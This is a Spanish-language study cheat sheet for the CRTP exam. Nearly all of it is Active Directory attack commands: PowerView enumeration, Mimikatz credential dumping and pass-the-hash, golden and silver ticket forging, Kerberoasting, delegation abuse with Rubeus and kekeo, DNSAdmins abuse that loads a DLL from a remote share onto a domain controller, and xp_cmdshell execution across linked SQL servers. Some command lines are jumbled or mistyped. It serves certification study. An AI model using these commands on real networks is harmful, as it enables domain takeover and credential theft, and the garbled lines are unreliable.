Repaso CRTP

Conceptos, técnicas y comandos que se recomienda entender antes de presentarse al examen

1. Enumeración

  • Importar script

. .\Powerview.ps1
  • Obtener el dominio

Get-NetDomain
Get-NetDomain -Domain powershell.local
  • Obtener los Controladores de Dominio (DC)

Get-NetDomainController
Get-NetDomainController -Domain powershell.local
  • Obtener usuarios de un dominio

Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /priv
  • Obtejer listado de propiedades de los usuarios del Dominio

Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
  • Obtener los grupos de un dominio

Get-NetGroup Get-NetGroup *Get-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select NameGet-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select Nameadmin*

  • Obtener los miembros del grupo "Domain Admins"

Get-NetGroupMember -GroupName "Domain Admins" -Recurse
  • Obtener los grupos a los que pertenece el usuario "labuser"

Get-NetGroup –UserName "labuser"
  • Obtener todos los equipos de un dominio

Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
  • Obtener todos los grupos de un dominio

Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
  • Obtener todos los grupos locales de una máquina

Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -Recurse
  • Obtener los usuarios autenticados en una máquina

Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>
  • Obtener el último usuario autenticado en una máquina

Get-LastLoggedOn –ComputerName <servername>
  • Obtener recursos compartidos en el dominio

Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServer
  • Obtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin

Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccess
  • Obtener las sesiones de una máquina

Get-NetSession -ComputerName ops-dc
  • Obtener máquinas donde el Domain Admin se ha autenticado

Invoke-UserHunter –CheckAccess
Invoke-UserHunter -Stealth
  • Obtener las relaciones de confianza del dominio

Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.local
  • Obtener la información de los forests

Get-NetForest
Get-NetForest –Forest defensiveps.local
  • Obtener los dominios de los forests

Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local
  • Obtener las relaciones de confianza en los forests

Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.local

GPOs (Group Policy Object)

  • Obtener las GPOs del dominio

Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
  • Obtener equipos donde un usuario es miembro de un grupo

Find-GPOLocation -UserName student1 -Verbose

OU (Organizational Unit)

  • Obtener OUs de un dominio

Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
  • Obtener GPO que aplica a una OU

Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081

ACLs (Access Control List)

  • Obtener ACL de un usuario

Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs
  • Obtener ACLs con un path específico

Get-PathAcl -Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"

BloodHound

Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC

2. Escalada de Privilegios Local

  • Obtener los servicios que el usuario actual puede modificar

Get-ModifiableService -Verbose
  • Ejecutar AllChecks

Invoke-AllChecks
  • Herramientas para enumerar información de la máquina que permita eleva privilegios

    • PowerUp

    Invoke-AllChecks
    • BeRoot

    .\\beRoot.exe
    • Privesc

    Invoke-PrivEsc

3. Movimiento Lateral

Powershell Remoting

  • Cmdlets útiles

New-PSSession
Enter-PSSession
Invoke-Command
  • Ejecutar comandos/scripts en equipos

  • Usa –Credential para indicar el username/password.

Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)
  • Ejecutar scripts de ficheros

Invoke-Command –FilePath C:\\scripts\\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
  • Crear sesiones remotas con "estado" (Stateful)

$Sess = New-PSSession –Computername Server1 -Creds 
Enter-PSSession $sess

winrs -r:machine powershell

Mimikatz & tokens

  • Mostrar las credenciales en una máquina local

Invoke-Mimikatz -DumpCreds
  • Mostrar los certificados de una máquina local

Invoke-Mimikatz –DumpCerts
  • Mostrar las credenciales de máquinas remotas

Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
  • Ejecutar una consola de powershell suplantando al usuario Administrator.

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'

Manipulación de tokens

  • Listar todos los tokens de una máquina

Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -Enumerate
  • Comenzar un proceso con el token de un usuario

Invoke-TokenManipulation -ImpersonateUser -Username “domain\\user"

4. Persistencia

Silver Ticket

  • Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)

Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'

Golden Ticket

Los golden ticket están firmados con el hash del usuario krbtgt.

  • Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc
  • Crear un golden ticket

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

5. Escalada de Privilegios

Kerberoast

  • Enumerar usuarios

Get-NetUser –SPN
  • Solicitar un TGS

Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
  • Comprobar si se ha creado

klist
  • Exportar todos los tickets

Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crackear la contraseña con tgsrepcrack, john o hashcat

AS-REP Roasting

  • Enumerar usuarios

Get-DomainUser -PreauthNotRequired -Verbose
Get-ASREPHash -UserName VPN1user -Verbose
  • Enumerar los usuarios con la pre-autenticación deshabilitada

Invoke-ASREPRoast -Verbose

SPN

  • Enumerar usuarios (PowerView_dev)

Get-DomainUser -Identity supportuser | select serviceprincipalname
  • Configurar SPN para un usuario

Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}
  • Solicitar un TGS

Add-Type -AssemblyNAme System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
  • Comprobar si se ha creado el TGS

klist.exe
  • Exportar los tickets

Invoke-Mimikatz -Command '"kerberos::list /export"'
  • Crackear la contraseña con tgsrepcrack, john o hashcat

Delegations

Unconstrained

Es posible solicitar cualquier servicio en cualquier máquina del dominio

  • Discover domain computers which have unconstrained delegation enabled using PowerView:

Get-NetComputer -UnConstrainedin
  • Run following command on it to check if any DA token is available:

Invoke-Mimikatz –Command '"sekurlsa::tickets"'

Constrained

Es posible solicitar servicios específicos en máquinas específicas del dominio

  • Enumerar usuarios

Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
  • A través de Kekeo se solicita un TGT

kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
  • A través de kekeo se usa el TGT para crear un TGS con el servicio CIFS

Invoke-Mimikatz tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
  • Inyecta el ticket con mimikatz

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@domain.local@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'

También es posible crear el TGS con Rubeus

.\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbi

Se comprueba que el servicio se ha validado correctamente

ls \\\\dcorp-mssql.dollarcorp.moneycorp.local\\c$

DNSAdmin

  • Enumerar los miembros del grupo DNSAdmin

Get-NetGroupMember -GroupName "DNSAdmins"
  • Configurar la DLL usando dnscmd.exe (necesita RSAT DNS)

dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
  • Usar el módulo de DNS (necesita RSAT DNS)

$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
  • Reiniciar el servicio DNS

sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns

6. MSSQL Servers

Usamos PowerUpSQL

  • Para enumerar

Get-SQLInstanceDomain
  • Comprobar accesibilidad

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Obtener información

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
  • Buscar servidores

Get-SQLServerLink -Instance dcorp-mssql -Verbose
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
  • La función Openquery() se puede usar para ejecutar peticiones

select * from openquery("dcorp-sql1",'select * from master..sysservers')
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
  • Ejecutar comandos a través de xp_cmdshell

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query **"exec master..xp_cmdshell 'whoami'"**

select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')

Last updated